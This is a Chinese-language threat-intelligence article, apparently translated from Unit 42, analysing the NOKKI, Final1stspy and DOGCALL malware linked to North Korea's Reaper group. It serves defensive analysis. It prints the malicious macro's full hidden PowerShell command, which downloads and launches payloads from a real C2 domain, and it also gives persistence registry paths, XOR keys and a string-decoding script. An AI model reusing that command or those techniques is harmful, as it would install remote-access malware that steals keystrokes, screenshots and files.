最新發現 NOKKI惡意軟體與朝鮮Reaper組織有關
最近,unit 42研究人員發現了NOKKI惡意軟體家族,主要攻擊目標是說俄語和柬埔寨語的地區。經過分析發現該惡意軟體攻擊活動與 ofollow,noindex" target="_blank">Reaper 組織有關。
其他安全公司的分析結果顯示Reaper組織與朝鮮有關,主要攻擊朝鮮關注的國家和組織,包括韓國的軍事和國防工業、與朝鮮有生意往來的中東企業等。該組織的常用手法包括使用定製的惡意軟體家族——DOGCALL。DOGCALL是一款遠端訪問木馬(RAT),使用第三方主機服務來上傳資料和接受命令。
本文主要分析NOKKI惡意軟體與DOGCALL惡意軟體家族的關係,以及與應用DOGCALL的惡意軟體家族的相關資訊,研究人員根據惡意軟體中的pdb字串將其名命名為Final1stspy。
惡意巨集
在分析NOKKI惡意軟體時,unit 42研究人員發現從2018年7月開始的一系列攻擊活動都使用了word文件中的惡意巨集。這些巨集本質上並不複雜,而且只嘗試執行:
·下載和執行可執行惡意軟體payload;
·下載和開啟word誘餌文件。
為了避免被檢測到,惡意巨集使用了簡單的字串混淆技術——base64編碼。不同的是,惡意軟體首先將base64編碼的文字變成十六進位制,然後再將十六進位制轉換為文字字串。
圖1 下載和執行遠端payload的惡意巨集檔案
圖2 應用反混淆方法的惡意巨集檔案
通過搜尋傳播NOKKI樣本的反混淆技術,研究人員發現另一個檔案。該檔案有以下特徵:
基於原始檔名,可用推測該惡意軟體樣本的攻擊目標是對2018年俄羅斯事世界盃感興趣的人。從下圖可用看出,樣本之間的反混淆方法和作者的註釋都是相同的 :
圖3 NOKKI dropper與World Cup predictions dropper的相似處
雖然反混淆方法是相同的,但巨集檔案的真實共那個有所不同。NOKKI dropper樣本會下載payload和誘餌檔案,而World Cup predictions惡意軟體樣本會下載和執行一個封裝再HTML中的遠端VB指令碼檔案,並把文字加入到原始word文件之後來引誘受害者。
誘餌檔案含有來自英國ESPN網站文章的公開內容:
World Cup predictions.doc檔案的執行鏈完成後,受害者機器上會執行一個DOGCALL惡意軟體樣本。
惡意軟體使用的評論誘餌和payload正說明了DOGCALL屬於Reaper,隸屬朝鮮的威脅單元。
惡意軟體執行
World Cup predictions.doc執行後,會繼續從下面的連結下載VBScript檔案:
http://kmbr1.nitesbr1[.]org/UserFiles/File/image/home.html
VBScript檔案使用的反混淆方法與前面描述的完全相同。當第二階段VBScript檔案執行時,會將資料1111:rom*E8FEF0CDF6C1EBBA90794B2B寫入%APPDATA%\Microsoft\mib.dat。該檔案之後會被Final1stspy惡意軟體家族使用。
該檔案寫入後,會執行下面的命令:
objShell.Run "cmd.exe /k powershell.exe" & " " & "-windowstyle" & " " & "hidden" & " " & "-ExecutionPolicy Bypass" & " " & "$h='%APPDATA%/Microsoft/Windows/msvcrt32.dll'" & ";" & "$f='%APPDATA%/Microsoft/ieConv.exe'" & ";" & "$x='" & "http://" & "kmbr1.nitesbr1.org" & "/UserFiles/File/image/images/happy.jpg" & "';" & "$t='" & "http://" & "kmbr1.nitesbr1[.]org" & "/UserFiles/File/image/images/wwwtest.jpg" & "';" & "(" & "New-Object System.Net.WebClient" & ")" & ".DownloadFile($t,$f)" & ";" & "(" & "New-Object System.Net.WebClient" & ")" & ".DownloadFile($x,$h)" & ";" & "Start-Process $f" & ";" & "Stop-Process" & " " & "-processname" & " " & "cmd", 0
程式碼執行後會下載兩個檔案:http:// kmbr1.nitesbr1[.]org/UserFiles/File/images/happy.jpg和http:// kmbr1.nitesbr1[.]org/UserFiles/File/images/wwwtest.jpg,並儲存在 %APPDATA%/Microsoft/Windows/msvcrt32.dll和%APPDATA%/Microsoft/ieConv.exe。最後,VBScript檔案會在新程序中執行之前下載的ieConv.exe檔案。
這兩個檔案是之前未報告的dropper惡意軟體家族Final1stspy的例項。
Final1stspy
Final1stspy惡意軟體家族可用分為可執行檔案和DLL。這些檔案有下面的特徵:
所有樣本都是幾周內編譯的。另外,用來傳播惡意軟體的原始word文件的最後修改時間就是DLL編譯前幾天。
可執行檔案和DLL都用了特定的路徑來混淆重要的字串。下面的python程式碼是用來解碼字串的:
import base64 data = "[Obfuscated String]" dataDecoded = b64decode(data) outVar = "" for char in dataDecoded: outVar += chr(((ord(char) + 122) ^ 0x19) & 0xff) print(outVar)
Final1stspy惡意軟體開始時會尋找是否存在下面的檔案:
·%APPDATA%\Microsoft\Windows\msvcrt64.dll
如果檔案存在,惡意軟體會載入DLL並嘗試呼叫main_func函式。
如果檔案不存在,惡意軟體會尋找下面的檔案:
·%APPDATA%\Microsoft\Windows\msvcrt32.dll
如果檔案存在,惡意軟體會0x50對檔案進行XOR解密,並寫入前面提到的msvcrt64.dll路徑,並載入main_func函式。
DLL使用的字串混淆方法與可執行檔案中的相同。首先會收集基本的系統資訊,必能通過設定指向%APPDATA%/Microsoft/ieConv.exe的登錄檔來確保駐留:
HKCU\Software\Microsoft\Windows\CurrentVersion\Run\rundll32
Final1stspy惡意軟體家族會繼續對之前的mib.dat檔案進行閱讀和語法分析。分析的資料會被用於之後的HTTP GET請求,表示Index、 Account、Group變數。
Final1stspy可用讀取%APPDATA%/Microsoft/olevnc.ini檔案,該檔案中有許多變數,包括使用者代理、URL、埠、內部計數器。如果檔案不存在,惡意軟體會用硬編碼的使用者代理和URL。特定的樣本會與 http://kmbr1.nitesbr1[.]org/UserFiles/File/image/index.php 進行通訊,使用的使用者代理為Host Process Update。
惡意軟體會繼續向該URL傳送HTTP GET請求,示例如下:
圖4 Final1stspy惡意軟體產生的HTTP請求
請求中有下面的GET引數:
惡意軟體期望接收到的是一個payload,並用XOR key 0x49進行解密。Payload會在受害者機器上載入。解密後,會出現下面的payload:
通過編譯的時間戳可用看出,該檔案與Final1stspy可執行檔案的編譯時間非常接近。該payload已經被識別是屬於DOGCALL惡意軟體家族,可以在受害者裝置上執行下面的動作:
·截圖
·記錄鍵盤輸入
·獲取麥克風資料
·收集受害者資訊
·收集感興趣的檔案
·下載和執行其他payload
惡意軟體會與作為C2的第三方主機服務進行通訊,包括:
·Dropbox
·pCloud
·Yandex Cloud
·Box
結論
研究人員分析惡意軟體NOKKI和惡意軟體KONNI存在程式碼重疊,進一步分析發現NOKKI惡意軟體與朝鮮的Reaper組織有關。之間的關係有很多好玩的地方,比如朝鮮相關的誘餌資訊和DOGCALL惡意軟體payload。研究人員在分析過程中還發現一款之前沒有報告過的惡意軟體——Final1stspy。